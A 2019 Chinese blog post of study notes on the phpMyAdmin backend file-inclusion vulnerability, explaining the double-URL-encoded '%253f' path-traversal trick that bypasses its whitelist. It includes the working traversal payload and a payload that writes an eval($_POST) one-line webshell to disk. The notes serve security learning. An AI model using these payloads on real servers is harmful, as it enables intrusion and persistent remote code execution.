phpMyAdmin后台文件包含溯源

先上大佬解释的漏洞原理链接

https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&mid=2247485036&idx=1&sn=8e9647906c5d94f72564dec5bc51a2ab&chksm=e89e2eb4dfe9a7a28bff2efebb5b2723782dab660acff074c3f18c9e7dca924abdf3da618fb4&mpshare=1&scene=1&srcid=0621gAv1FMtrgoahD01psMZr&pass_ticket=LqhRfckPxAVG2dF%2FjxV%2F9%2FcEb5pShRgewJe%2FttJn2gIlIyGF%2FbsgGmzcbsV%2BLmMK#rd

不光可以通过本身存在的包含漏洞,还能再mysql中直接写入一句话木马,然后解析连接

 

当时原理一直没看到最后一步的payload: db_sql.php%253f/../../../../../../windows/system.ini  问了很多人,搞不懂db_sql.php?这个东西,今天偶然看到一个WP,发现了。emmmmmmmmm,SO噶,解决了那天看了一晚上也没懂这个细节的。代码审计简单,这个晕死了。 算个小trick? 附上链接(https://www.jianshu.com/p/8f5ba751aa0f)

 

 看来我要在ubuntu下也搭个环境,方便测试。这个trick问了好多好多人,给我的答复没有讲到这个细节,都认识我是代码审计有问题。。。。。。。然而我在意的就是这个小细节,可能大佬们把这个作为常识 0-0,恕我直言,我太垃圾。 。继续加油

php中,url中带?的会被解析为参数而不是路径,双重编码,第一次会自动解码一回,呢么就饶过了php对url的解释,第二次解码后,绕过了白名单验证。

include的target应该是include 'db_sql.php%3f/../../../../../../windows/system.ini'   在include中,%3f会被当作是路径(反正能include到最后的文件就完事了)

其次如果包含的是一句话木马的话,传入 include target=././././123.txt?a=phpinfo()会爆错,因为php会把?解释为传参而不是路径,而include会认为那是路径

所以用& 代替 ?

有时候菜刀连不了一句话的话,可以用a= $a='<?php @eval($_POST[\'a\'])?>'; file_put_contents('xxx.php'.$a); echo 'ok' ;

利用小马中eval的特性,可以直接当作正常的php执行

 

 

 

https://www.cnblogs.com/bmjoker/p/9897436.html写的非常完整。

https://www.jianshu.com/p/0d75017c154f更详细的原理

https://www.jianshu.com/p/73ca8146af04 我最能理解的一个

posted @ 2019-04-02 22:04  yunying  阅读(1239)  评论(1编辑  收藏  举报